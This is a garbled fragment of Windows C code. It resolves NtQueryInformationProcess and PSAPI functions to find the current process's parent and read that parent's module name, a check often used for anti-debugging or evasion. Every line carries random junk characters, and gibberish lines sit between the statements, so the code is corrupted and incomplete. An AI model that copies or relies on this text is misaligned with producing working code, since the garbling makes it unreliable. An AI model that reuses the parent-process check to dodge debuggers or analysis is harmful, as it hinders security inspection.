ULONG UniqueProcessId; J<L"D/
ULONG InheritedFromUniqueProcessId; uN&49o
} PROCESS_BASIC_INFORMATION; `)jAdad-s
$nthMx$
PROCNTQSIP NtQueryInformationProcess; mqQ//$Y
<XpG5vV
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AQ-R^kT
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P; =,Q$e8
Jl)Q#
HANDLE hProcess; g*U[?I"sC
PROCESS_BASIC_INFORMATION pbi; (
Qk*B
-A8CW9|mk
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }8'bXG+
if(NULL == hInst ) return 0; jW|M)[KJN
^@maF<Jb
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +_fxV|}P
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w##$SaTI
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LZpqv~av
}!vJ+
if (!NtQueryInformationProcess) return 0; 2K(zYv54
"qY_O/Eg]]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b;e*`f8T3c
if(!hProcess) return 0; ,3ivB8
7OZjLD{ID
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \R#OJ=F
i\P)P!
CloseHandle(hProcess); oGZ%w4T
_$qH\>se
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )6-!,D0 db
if(hProcess==NULL) return 0; :'gX//b):
jTz~
V&^
HMODULE hMod; *p%=u>?&
char procName[255]; 20RI S j
unsigned long cbNeeded; Oc?]L&a